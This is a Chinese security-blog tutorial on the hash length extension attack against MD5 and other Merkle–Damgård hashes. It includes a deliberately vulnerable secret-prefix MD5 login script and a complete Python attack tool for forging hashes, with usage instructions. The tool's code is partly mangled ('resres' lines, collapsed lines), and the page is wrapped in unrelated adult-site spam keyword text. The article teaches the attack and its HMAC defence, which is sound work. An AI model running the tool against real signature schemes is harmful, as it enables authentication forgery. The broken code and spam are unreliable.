精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

容易受到哈希長度擴展攻擊的那些算法

安全 黑客攻防 算法
Hash,一般翻譯做“散列”,也有直接音譯為“哈?!钡模褪前讶我忾L度的輸入(又叫做預映射, pre-image),通過散列算法,變換成固定長度的輸出,該輸出就是散列值。

 

 

Hash,一般翻譯做“散列”,也有直接音譯為“哈希”的,就是把任意長度的輸入(又叫做預映射, pre-image),通過散列算法,變換成固定長度的輸出,該輸出就是散列值。這種轉換是一種壓縮映射,也就是,散列值的空間通常遠小于輸入的空間,不同的輸入可能會散列成相同的輸出,所以不可能從散列值來唯一的確定輸入值。簡單的說就是一種將任意長度的消息壓縮到某一固定長度的消息摘要的函數。

哈希長度擴展攻擊簡單的來講就是:

1.知道一個密文(SECRET)的哈希

2.知道密文的長度(SECRET LENGTH)

在不知道密文的情況下可以推算出密文+填充+追加消息(SECRET+PADDING+EXTRA)的哈希,也就是說在只知道密文長度和密文哈希的情況下,可以預測出密文和另一消息拼接后的哈希。

0x01 理解哈希算法流程

易受哈希長度擴展攻擊的哈希算法:SHA系列和MD系列。這兩個系列的哈希算法都有一個共同點——基于Merkle–Damgård構造。

上圖可以看出,Merkle–Damgård算法的流程如下:

1. 把消息劃分為n個消息塊

2. 對最后一個消息塊做長度填充

3. 每個消息塊都會和一個輸入向量做一個運算,把這個計算結果當成下個消息塊的輸入向量

0x02 理解MD5算法流程

了解了Merkle–Damgård算法的流程,下面詳細了解一下MD5算法的流程,我們可以參考RFC 1321(http://www.ietf.org/rfc/rfc1321.txt)。

MD5算法包括四大步驟:

  •  Append Padding Bits(填充bits)
  •  Append Length(填充長度)
  • Initialize MD Buffer(初始化向量)
  • Process Message in 16-Word Blocks(復雜的函數運算)

我們主要需要了解前三步,也就是MD5算法中的填充和生成初始化向量。首先,我們看一下MD5中填充bits的算法,該算法的流程如下:

1. 根據消息的長度確定填充的字節數,即填充后消息長度 mod 512bit = 448bit。舉個例子:一個消息是”message”,則這個消息是56bit,所以需要填充392bit。

2. 最小填充1bit最多填充512bit,即使消息長度 mod 512 = 448bit。也就是說,不管消息長度是多少,都必須進行填充。

3. 填充信息的第一個字節是0x80,剩余數據用0x00填充。

然后,我們看一下填充長度的流程:

填充長度的大小是64bit

長度是小端存儲的,也就是說高字節放在高地址中

如果消息的長度大于2 ^ 64,也就是大于2048PB。那么64bit無法存儲消息的長度,則取低64bit。

下圖是補位的示例,要進行哈希運算的消息是字符串”message”,則:

最后,初始化向量為固定值:

A 01 23 45 67 0x67452301

B 89 AB CD EF 0xEFCDAB89

C FE DC BA 98 0x98BADCFE

D 76 54 32 10 0x10325476

然后,用初始化向量和補位后的消息進行復雜的函數運算,最終得到消息”message”的MD5值為78e731027d8fd50ed642340b7c9a63b3。

0x03 理解MD5長度擴展攻擊

如果一個消息長度大于512bit,則會對消息按512bit進行切分,最后一個消息塊進行填充操作。

假設我們知道一個7字節也就是56bit的消息的MD5值是78e731027d8fd50ed642340b7c9a63b3。

則MD5算法對其進行運算時,會先補位,由于消息的內容我們不知道,所以補位的結果如下圖

然后會和初始向量進行復雜的函數運算,因為MD5值為78e731027d8fd50ed642340b7c9a63b3,故得到的結果為

A=0x0231e778

B=0x0ed58f7d

C=0x0b3442d6

D=0xb3639a7c

若向補位后的消息再追加一條消息字符串”admin”,則會對這個字符串進行補位,再利用上一個運算算出的值作為初始向量進行函數運算,最終得到的MD5值為e53a681a30ff99e3f6522270ca7db244。

這樣就完成了在不知道消息的情況下,計算出消息+填充+追加消息的MD5值。

我們可以驗證一下,假設驗證用戶登錄的程序是這樣的:

  1. import sys 
  2.   from urllib import unquote 
  3.  
  4.   def login(password, hash_val): 
  5.       m = hashlib.md5() 
  6.       secret_key = "message" 
  7.       m.update(secret_key + password) 
  8.       if(m.hexdigest() == hash_val): 
  9.           print "Login Successful!" 
  10.       else: 
  11.           print "Login Failed" 
  12.    
  13.   if __name__ == "__main__": 
  14.       password = unquote(sys.argv[1]) 
  15.       hash_val = unquote(sys.argv[2]) 
  16.       login(password, hash_val) 

現在只知道一組用戶名和hash,root和f3c36e01c874865bc081e4ae7af037ea

由分析可知,我們在知道secret_key長度的情況下,可以偽造padding,再通過追加字符串可以算出secret+padding+追加字符串的MD5值。假設我們追加的字符串為admin,則通過哈希擴展攻擊計算出md5(secret+padding+追加字符串) = e53a681a30ff99e3f6522270ca7db244。然后我們測試一下,顯示登錄成功:

md5擴展攻擊代碼如下(網上找的稍作修改,用法:python md5.py 攻擊的md5 追加的消息 secret的長度):

  1.  
  2.     # coding:utf-8    
  3.     import sys 
  4.     import struct 
  5.     import hashlib 
  6.     import binascii 
  7.         
  8.     def F(x, y, z): 
  9.         return (x & y) | ((~x) & z) 
  10.      
  11.      
  12.     def G(x, y, z): 
  13.         return (x & z) | (y & (~z)) 
  14.      
  15.      
  16.     def H(x, y, z): 
  17.         return x ^ y ^ z 
  18.      
  19.      
  20.     def I(x, y, z): 
  21.         return y ^ (x | (~z)) 
  22.      
  23.      
  24.     def _rotateLeft( x, n): 
  25.         return (x << n) | (x >> (32-n)) 
  26.      
  27.      
  28.     def XX(func, a, b, c, d, x, s, ac): 
  29.         res = 0L 
  30.         resres = res + a + func(b, c, d) 
  31.         resres = res + x 
  32.         resres = res + ac 
  33.         resres = res & 0xffffffffL 
  34.         res = _rotateLeft(res, s) 
  35.         resres = res & 0xffffffffL 
  36.         resres = res + b 
  37.      
  38.         return res & 0xffffffffL 
  39.      
  40.      
  41.     class md5(): 
  42.         def __init__(self): 
  43.             self.A, self.B, self.C, self.D = (0x67452301L, 0xefcdab89L, 0x98badcfeL, 0x10325476L) 
  44.      
  45.         def md5_compress(self, buf): 
  46.             if len(buf) != 64: 
  47.                 raise ValueError, "Invalid buffer of length %d: %s" % (len(buf), repr(buf)) 
  48.             inp = struct.unpack("I"*16, buf) 
  49.             a, b, c, d = self.A, self.B, self.C, self.D 
  50.      
  51.             # Round 1. 
  52.             S11, S12, S13, S14 = 7, 12, 17, 22 
  53.      
  54.             a = XX(F, a, b, c, d, inp[0], S11, 0xD76AA478L) # 1 
  55.             d = XX(F, d, a, b, c, inp[1], S12, 0xE8C7B756L) # 2 
  56.             c = XX(F, c, d, a, b, inp[2], S13, 0x242070DBL) # 3 
  57.             b = XX(F, b, c, d, a, inp[3], S14, 0xC1BDCEEEL) # 4 
  58.             a = XX(F, a, b, c, d, inp[4], S11, 0xF57C0FAFL) # 5 
  59.             d = XX(F, d, a, b, c, inp[5], S12, 0x4787C62AL) # 6 
  60.             c = XX(F, c, d, a, b, inp[6], S13, 0xA8304613L) # 7 
  61.             b = XX(F, b, c, d, a, inp[7], S14, 0xFD469501L) # 8 
  62.             a = XX(F, a, b, c, d, inp[8], S11, 0x698098D8L) # 9 
  63.             d = XX(F, d, a, b, c, inp[9], S12, 0x8B44F7AFL) # 10 
  64.             c = XX(F, c, d, a, b, inp[10], S13, 0xFFFF5BB1L) # 11 
  65.             b = XX(F, b, c, d, a, inp[11], S14, 0x895CD7BEL) # 12 
  66.             a = XX(F, a, b, c, d, inp[12], S11, 0x6B901122L) # 13 
  67.             d = XX(F, d, a, b, c, inp[13], S12, 0xFD987193L) # 14 
  68.             c = XX(F, c, d, a, b, inp[14], S13, 0xA679438EL) # 15 
  69.             b = XX(F, b, c, d, a, inp[15], S14, 0x49B40821L) # 16 
  70.      
  71.             # Round 2. 
  72.             S21, S22, S23, S24 = 5, 9, 14, 20 
  73.      
  74.             a = XX(G, a, b, c, d, inp[1], S21, 0xF61E2562L) # 17 
  75.             d = XX(G, d, a, b, c, inp[6], S22, 0xC040B340L) # 18 
  76.             c = XX(G, c, d, a, b, inp[11], S23, 0x265E5A51L) # 19 
  77.             b = XX(G, b, c, d, a, inp[0], S24, 0xE9B6C7AAL) # 20 
  78.             a = XX(G, a, b, c, d, inp[5], S21, 0xD62F105DL) # 21 
  79.             d = XX(G, d, a, b, c, inp[10], S22, 0x02441453L) # 22 
  80.             c = XX(G, c, d, a, b, inp[15], S23, 0xD8A1E681L) # 23 
  81.             b = XX(G, b, c, d, a, inp[4], S24, 0xE7D3FBC8L) # 24 
  82.             a = XX(G, a, b, c, d, inp[9], S21, 0x21E1CDE6L) # 25 
  83.             d = XX(G, d, a, b, c, inp[14], S22, 0xC33707D6L) # 26 
  84.             c = XX(G, c, d, a, b, inp[3], S23, 0xF4D50D87L) # 27 
  85.             b = XX(G, b, c, d, a, inp[8], S24, 0x455A14EDL) # 28 
  86.             a = XX(G, a, b, c, d, inp[13], S21, 0xA9E3E905L) # 29 
  87.             d = XX(G, d, a, b, c, inp[2], S22, 0xFCEFA3F8L) # 30 
  88.             c = XX(G, c, d, a, b, inp[7], S23, 0x676F02D9L) # 31 
  89.             b = XX(G, b, c, d, a, inp[12], S24, 0x8D2A4C8AL) # 32 
  90.      
  91.             # Round 3. 
  92.             S31, S32, S33, S34 = 4, 11, 16, 23 
  93.      
  94.             a = XX(H, a, b, c, d, inp[5], S31, 0xFFFA3942L) # 33 
  95.             d = XX(H, d, a, b, c, inp[8], S32, 0x8771F681L) # 34 
  96.             c = XX(H, c, d, a, b, inp[11], S33, 0x6D9D6122L) # 35 
  97.             b = XX(H, b, c, d, a, inp[14], S34, 0xFDE5380CL) # 36 
  98.             a = XX(H, a, b, c, d, inp[1], S31, 0xA4BEEA44L) # 37 
  99.             d = XX(H, d, a, b, c, inp[4], S32, 0x4BDECFA9L) # 38 
  100.             c = XX(H, c, d, a, b, inp[7], S33, 0xF6BB4B60L) # 39 
  101.             b = XX(H, b, c, d, a, inp[10], S34, 0xBEBFBC70L) # 40 
  102.             a = XX(H, a, b, c, d, inp[13], S31, 0x289B7EC6L) # 41 
  103.             d = XX(H, d, a, b, c, inp[0], S32, 0xEAA127FAL) # 42 
  104.             c = XX(H, c, d, a, b, inp[3], S33, 0xD4EF3085L) # 43 
  105.             b = XX(H, b, c, d, a, inp[6], S34, 0x04881D05L) # 44 
  106.             a = XX(H, a, b, c, d, inp[9], S31, 0xD9D4D039L) # 45 
  107.             d = XX(H, d, a, b, c, inp[12], S32, 0xE6DB99E5L) # 46 
  108.             c = XX(H, c, d, a, b, inp[15], S33, 0x1FA27CF8L) # 47 
  109.             b = XX(H, b, c, d, a, inp[2], S34, 0xC4AC5665L) # 48 
  110.      
  111.             # Round 4. 
  112.             S41, S42, S43, S44 = 6, 10, 15, 21 
  113.      
  114.             a = XX(I, a, b, c, d, inp[0], S41, 0xF4292244L) # 49 
  115.             d = XX(I, d, a, b, c, inp[7], S42, 0x432AFF97L) # 50 
  116.             c = XX(I, c, d, a, b, inp[14], S43, 0xAB9423A7L) # 51 
  117.             b = XX(I, b, c, d, a, inp[5], S44, 0xFC93A039L) # 52 
  118.             a = XX(I, a, b, c, d, inp[12], S41, 0x655B59C3L) # 53 
  119.             d = XX(I, d, a, b, c, inp[3], S42, 0x8F0CCC92L) # 54 
  120.             c = XX(I, c, d, a, b, inp[10], S43, 0xFFEFF47DL) # 55 
  121.             b = XX(I, b, c, d, a, inp[1], S44, 0x85845DD1L) # 56 
  122.             a = XX(I, a, b, c, d, inp[8], S41, 0x6FA87E4FL) # 57 
  123.             d = XX(I, d, a, b, c, inp[15], S42, 0xFE2CE6E0L) # 58 
  124.             c = XX(I, c, d, a, b, inp[6], S43, 0xA3014314L) # 59 
  125.             b = XX(I, b, c, d, a, inp[13], S44, 0x4E0811A1L) # 60 
  126.             a = XX(I, a, b, c, d, inp[4], S41, 0xF7537E82L) # 61 
  127.             d = XX(I, d, a, b, c, inp[11], S42, 0xBD3AF235L) # 62 
  128.             c = XX(I, c, d, a, b, inp[2], S43, 0x2AD7D2BBL) # 63 
  129.             b = XX(I, b, c, d, a, inp[9], S44, 0xEB86D391L) # 64 
  130.      
  131.             self.A = (self.A + a) & 0xffffffffL 
  132.             self.B = (self.B + b) & 0xffffffffL 
  133.             self.C = (self.C + c) & 0xffffffffL 
  134.             self.D = (self.D + d) & 0xffffffffL 
  135.             # print 'A=%s\nB=%s\nC=%s\nD=%s\n' % (hex(self.A), hex(self.B), hex(self.C), hex(self.D)) 
  136.      
  137.         def padding(self, n, sz=None): 
  138.             if sz is None: 
  139.                 sz = n 
  140.             pre = 64-8 
  141.             sz = struct.pack("Q",sz*8) 
  142.             pad = '\x80' 
  143.             n += 1 
  144.             if n % 64 <= pre: 
  145.                 pad += '\x00' * (pre - n % 64) 
  146.                 pad += sz 
  147.             else: 
  148.                 pad += '\x00' * (pre + 64 - n % 64) 
  149.                 pad += sz 
  150.             return pad 
  151.      
  152.         def pad(self, msg): 
  153.             return msg + self.padding(len(msg)) 
  154.      
  155.         def md5_iter(self, padding_msg): 
  156.             assert len(padding_msg) % 64 == 0 
  157.             for i in range(0, len(padding_msg), 64): 
  158.                 block = padding_msg[i:i+64] 
  159.                 self.md5_compress(padding_msg[i:i+64]) 
  160.      
  161.         def digest(self): 
  162.             return struct.pack('<IIII', self.A, self.B, self.C, self.D) def hexdigest(self): return binascii.hexlify(self.digest()).decode() def my_md5(self, msg): padding_msg = self.pad(msg) self.md5_iter(padding_msg) return self.hexdigest() # 通過md5值,逆向算出最后一輪的magic number def compute_magic_number(self, md5str): self.A = struct.unpack("I", md5str[0:8].decode('hex'))[0] self.B = struct.unpack("I", md5str[8:16].decode('hex'))[0] self.C = struct.unpack("I", md5str[16:24].decode('hex'))[0] self.D = struct.unpack("I", md5str[24:32].decode('hex'))[0] #print 'A=%s\nB=%s\nC=%s\nD=%s\n' % (hex(self.A), hex(self.B), hex(self.C), hex(self.D)) def extension_attack(self, md5str, str_append, lenth): self.compute_magic_number(md5str) p = self.padding(lenth) padding_msg = self.padding( len(str_append), lenth + len(p) + len(str_append) ) self.md5_iter(str_append + padding_msg) return self.hexdigest() if __name__ == "__main__": m = md5() if len(sys.argv) != 4: #print m.my_md5("123456") src = m.pad(sys.argv[1]) + sys.argv[2] print 'md5 padding ->',m.my_md5(src) 
  163.         else: 
  164.             print 'md5 extension_attack ->',m.extension_attack(sys.argv[1], sys.argv[2], 

0x04 總結

這個攻擊方式的原理是,知道一個密文的md5和密文的長度,可以推算出密文與擴展消息拼接后的md5。防范方法也很簡單:

方法1:用HMAC算法 HMAC(secret||padding)=H(secret||H(secret||padding))

方法2:交換secret和padding的位置,即MAC(padding||secret)

通常md5可以作為簽名來用,曾經有兩個漏洞,亞馬遜AWS和Flicker的簽名漏洞,均可以通過md5哈希長度擴展攻擊。最近也有一個phpwind的洞可用哈希長度擴展攻擊。

不過現在這個攻擊方式的發展趨勢應該是活在CTF中了233333

0x05 引用

http://www.ietf.org/rfc/rfc1321.txt

http://blog.chinaunix.net/uid-27070210-id-3255947.htm

責任編輯:趙寧寧 來源: 綠盟科技博客
相關推薦

2014-04-15 11:22:24

2024-08-23 15:02:23

2019-07-19 17:19:19

網絡安全銀行軟件

2023-08-17 15:40:52

2023-10-30 07:46:21

2024-07-04 15:47:28

2022-04-12 14:37:26

區塊鏈橋區塊鏈貨幣

2023-12-14 15:32:17

2021-02-19 09:23:37

僵尸網絡DDoS攻擊安卓設備

2010-12-28 10:48:37

2022-11-18 09:51:33

2015-09-16 11:53:21

2022-12-01 08:00:00

2024-12-27 15:41:47

2023-09-19 07:46:03

2018-11-20 08:57:41

2023-10-24 17:53:05

2021-06-29 10:51:59

移動攻擊網絡攻擊漏洞

2013-07-24 13:45:09

2020-09-01 09:51:13

云安全漏洞攻擊
點贊
收藏

51CTO技術棧公眾號

精品国产亚洲一区二区三区在线 | 99在线观看视频免费| 亚洲中文字幕一区二区| 国一区二区在线观看| 亚洲男人的天堂在线播放| 中国黄色片免费看| 国产美女一区视频| 欧美高清在线视频| 国产精品一区二区a| 做爰无遮挡三级| 精品动漫一区| 俺也去精品视频在线观看| 亚洲视频在线播放免费| 国产亚洲精品精品国产亚洲综合| 一区二区三区国产| 亚欧洲精品在线视频免费观看| www.日日夜夜| 欧美a级理论片| 久久久久久久久久久免费| a级在线免费观看| 成人性生交大片免费看96| 欧美日韩一区二区在线观看| 黄色免费福利视频| 午夜dj在线观看高清视频完整版| www成人在线观看| 鬼打鬼之黄金道士1992林正英| 亚洲天堂五月天| 国产欧美日韩亚洲一区二区三区| 不卡伊人av在线播放| 日韩不卡av在线| 奇米色欧美一区二区三区| 欧美精品一区二区三区蜜桃视频| 成人不卡免费视频| 不卡亚洲精品| 91久久精品一区二区| 青青青青草视频| 丝袜中文在线| 亚洲卡通动漫在线| 一区二区不卡在线视频 午夜欧美不卡' | 日韩精品久久久久| 三日本三级少妇三级99| 中文字幕成在线观看| 亚洲国产精品久久久男人的天堂| 国产免费一区二区三区四在线播放| 9色在线视频| 国产精品欧美一区喷水| 久久综合九色综合久99| 手机在线观看免费av| 成人久久18免费网站麻豆| 3d动漫啪啪精品一区二区免费 | 久久精品国产一区二区| 国产精品嫩草视频| 精品乱码一区内射人妻无码| 视频一区视频二区在线观看| 日韩美女在线观看一区| 无码人妻av一区二区三区波多野| 久久一二三四| 国产精品黄色av| 中文字幕一区二区三区四区视频| 男女男精品视频网| 成人字幕网zmw| jlzzjlzz亚洲女人18| 国产大陆精品国产| 国产精品一区二区三区观看 | 亚洲午夜av电影| 午夜时刻免费入口| 欧美3p在线观看| 久久久精品国产一区二区| www.5588.com毛片| 欧美在线二区| 久久人人爽人人爽人人片av高请| 国产成人一区二区三区影院在线| 国产日韩亚洲| 国产精品久久久久免费a∨| 自拍偷拍福利视频| 国产一区二区在线影院| 国产精品久久久久久久小唯西川 | 国产欧美一区二区在线| 视频一区国产精品| 午夜在线激情影院| 欧美视频在线免费看| 熟女人妇 成熟妇女系列视频| 日韩一区精品| 日韩欧美一二三| 亚洲精品乱码久久久久久不卡| 妖精一区二区三区精品视频| 中国日韩欧美久久久久久久久| 黄色片子在线观看| 国产精品最新自拍| 国产一区欧美二区三区| 国精产品乱码一区一区三区四区| 2023国产精品自拍| 免费在线观看污污视频| 九色porny视频在线观看| 欧美性极品少妇| 香蕉视频污视频| 欧美日韩国产传媒| 久久久久久久久久婷婷| 性高潮视频在线观看| 国产精品888| 视频一区视频二区视频三区高| 婷婷丁香在线| 欧美最新大片在线看| 丰满熟女人妻一区二区三区| 欧美老女人另类| 性色av一区二区三区在线观看| 日本视频在线观看免费| 国产在线国偷精品免费看| 蜜桃狠狠色伊人亚洲综合网站| 韩国av网站在线| 91久久久免费一区二区| 在线xxxxx| 欧美黄色大片在线观看| 欧洲美女7788成人免费视频| 亚洲av永久无码国产精品久久| 91久久偷偷做嫩草影院| caoporn国产| 国产成人免费在线视频| 日韩激情久久| 欧美一级鲁丝片| 精品国产免费人成在线观看| 欧美一级片在线视频| 日韩在线一二三区| 欧美高清视频一区二区三区在线观看 | 蜜桃视频在线免费| 亚洲老妇xxxxxx| 玖玖爱视频在线| 国产综合久久久| 91av成人在线| 黄片毛片在线看| 一区二区三区四区精品在线视频 | 神马午夜伦理影院| 国产精品成人国产| 一区二区亚洲精品国产| 久久黄色精品视频| 99精品桃花视频在线观看| 99在线免费视频观看| 亚洲不卡视频| 欧美国产日韩一区二区在线观看| 国产口爆吞精一区二区| 中文字幕在线一区二区三区| 亚洲一级片免费| 日韩综合一区| 国产一区在线播放| 免费在线观看av片| 51久久夜色精品国产麻豆| av永久免费观看| 日本不卡高清视频| 亚洲高清视频一区| 中文幕av一区二区三区佐山爱| 搡老女人一区二区三区视频tv | 日韩欧美激情在线| 久久伊人成人网| av色综合久久天堂av综合| 国产成人永久免费视频| 精品国产导航| 欧美综合一区第一页| 久久久久久女乱国产| 91国产丝袜在线播放| 狂野欧美性猛交| 韩国av一区二区三区四区| 国产精品一二三在线观看| 亚洲专区**| 88xx成人精品| av资源网在线观看| 欧美一区二区三区成人| 久久精品第一页| 91亚洲国产成人精品一区二区三| www一区二区www免费| 精品盗摄女厕tp美女嘘嘘| 国产精品最新在线观看| 中文字幕伦理免费在线视频 | 玖玖玖精品中文字幕| 桃子视频成人app| 精品国内产的精品视频在线观看| 精品久久久久久亚洲综合网站| 亚洲高清免费观看高清完整版在线观看 | 新版中文在线官网| 欧美成人video| 特级毛片www| 最新国产の精品合集bt伙计| 日本精品一二三区| 久久先锋影音| 9l视频自拍9l视频自拍| 欧美wwwsss9999| 国产精品视频一| 岛国毛片av在线| 夜夜嗨av色一区二区不卡| av中文字幕观看| 色综合 综合色| 永久免费看黄网站| 久久久久国产精品麻豆ai换脸| 自拍偷拍一区二区三区四区| 亚洲黄色影院| 中文字幕一区二区三区有限公司 | 亚洲精品第一| 2018国产精品视频| a毛片在线看免费观看| 亚洲精品一区中文| 国产xxxxxx| 欧美中文字幕一区| 精品久久免费视频| 最近中文字幕一区二区三区| 欧美做受xxxxxⅹ性视频| 国产乱国产乱300精品| 国产福利一区视频| 136国产福利精品导航网址| 亚洲一区二区三区精品动漫| 国产香蕉精品| 亚洲在线第一页| 99久久精品一区二区成人| 4k岛国日韩精品**专区| 在线观看a级片| 色偷偷av一区二区三区| 日本中文字幕电影在线观看| 日韩欧美一区在线| 91丨porny丨在线中文 | 爱福利视频一区二区| 欧美fxxxxxx另类| 亚洲 国产 日韩 综合一区| 美日韩中文字幕| 精品国产_亚洲人成在线| 欧美不卡在线观看| 成人xxxx视频| 日本成人一区二区| 国产人妖伪娘一区91| 香蕉成人av| 秋霞成人午夜鲁丝一区二区三区| 91禁在线看| 久久久久久久久电影| 伊人影院蕉久影院在线播放| xxx一区二区| 求av网址在线观看| 最新91在线视频| 成年人在线免费观看| 国产亚洲精品久久久久久| 国产主播福利在线| 亚洲人精选亚洲人成在线| 欧美色综合一区二区三区| 亚洲精品美女视频| 天堂a中文在线| 亚洲欧美日韩精品久久| 日本天堂在线| 亚洲香蕉在线观看| 国产三级在线免费| 爽爽爽爽爽爽爽成人免费观看| 成人午夜影视| www.国产一区| av片在线观看| 隔壁老王国产在线精品| 乱馆动漫1~6集在线观看| 欧美一级成年大片在线观看 | 色网站国产精品| 手机av免费观看| 欧美日韩dvd在线观看| 亚洲一区二区视频在线播放| 欧美精品色一区二区三区| 国产熟女精品视频| 亚洲精品一区在线观看| 五月婷婷久久久| 在线观看欧美www| 黄色片免费在线观看| 久久久久久999| 天堂√中文最新版在线| 国产精品美女久久久免费| 欧美亚洲福利| 91成人免费看| 日本欧美韩国国产| 香蕉久久夜色| 国产精品v日韩精品v欧美精品网站 | 日韩成人a**站| 五月天在线免费视频| 亚洲一级影院| 色一情一乱一伦一区二区三区日本| 日韩制服丝袜先锋影音| 久久久福利影院| av亚洲精华国产精华精| 欧美 日韩 成人| 亚洲激情一二三区| 国产原创视频在线| 欧美精品在欧美一区二区少妇| 朝桐光av在线一区二区三区| 亚洲精品网址在线观看| 久草中文在线观看| 91av在线不卡| 国产成人免费av一区二区午夜| 狠狠色综合网站久久久久久久| av在线不卡免费观看| 青青青青在线视频| 秋霞午夜鲁丝一区二区老狼| 初高中福利视频网站| 久久午夜国产精品| 午夜免费激情视频| 91久久人澡人人添人人爽欧美| av在线亚洲天堂| 在线丨暗呦小u女国产精品| eeuss鲁一区二区三区| 国产精品日韩在线播放| 日本在线中文字幕一区| 99久re热视频精品98| 天堂久久久久va久久久久| wwwww在线观看| 国产精品你懂的在线欣赏| 国产成人在线免费观看视频| 91精品国产综合久久蜜臀| 蝌蚪视频在线播放| 久久久久久中文字幕| 亚洲资源在线| 日韩中文字幕一区二区| 国产精品一二| 熟妇人妻久久中文字幕| 亚洲欧美国产毛片在线| 亚洲自拍第二页| 亚洲性av网站| 亚洲天堂电影| 国产伦精品一区二区三区照片 | 国产精品片aa在线观看| 国产91在线亚洲| 久久99精品国产麻豆婷婷| 精品成人av一区二区三区| 精品久久久久久亚洲精品| 亚洲av综合色区无码一区爱av | 亚洲国产精品久久91精品| 日本精品一区二区三区在线播放| 欧美在线观看日本一区| 加勒比久久高清| 免费网站永久免费观看| 国产乱对白刺激视频不卡| 成人做爰视频网站| 欧美日韩激情一区| 阿v免费在线观看| 国产精品xxxxx| 国产日产精品一区二区三区四区的观看方式 | 国产黄色一区二区三区| 国产欧美一区二区精品久导航| 欧美日韩中文视频| 精品欧美一区二区久久| 亚洲性图自拍| av一区二区三区四区电影| 亚洲色图欧美| 免费在线观看日韩av| 亚洲曰韩产成在线| 亚洲国产日韩在线观看| 欧美高清激情视频| 国产精品chinese在线观看| 国产精品igao激情视频| 国产不卡免费视频| 麻豆一区二区三区精品视频| 精品国产污网站| 两个人看的在线视频www| 欧美久久久久久一卡四| 久久综合狠狠| 亚洲天堂精品一区| 日韩视频123| 91jq激情在线观看| 蜜桃麻豆www久久国产精品| 丝袜亚洲另类丝袜在线| 亚洲精品天堂网| 91麻豆精品国产91| 欧美家庭影院| 欧美xxxx黑人又粗又长密月| 丝袜亚洲精品中文字幕一区| 一级片黄色录像| 日韩一区二区三区观看| av资源中文在线| 秋霞久久久久久一区二区| 美女一区二区视频| 色在线观看视频| 亚洲精品视频免费| 日韩精品第二页| 日韩激情视频一区二区| 91毛片在线观看| 一区二区三区日| 久久久久久中文字幕| 国产免费播放一区二区| 亚洲免费黄色录像| 亚洲成人免费影院| 国产高清自拍视频在线观看| 91免费的视频在线播放| 一区二区亚洲| 国产精品久久久久久成人| 欧美v国产在线一区二区三区| 卡通欧美亚洲| 久久久久久久久网| 久久久久久久久久久99999| 国产精品亚洲lv粉色| 97在线日本国产| 91超碰成人| 成人乱码一区二区三区av| 91精品国产丝袜白色高跟鞋| 成人黄色动漫| 日韩第一页在线观看| 91丝袜国产在线播放| 国产精品亚洲lv粉色| 全球成人中文在线| 国产精品红桃| 我要看一级黄色录像| 日韩不卡中文字幕| 一区二区三区自拍视频| 另类小说第一页|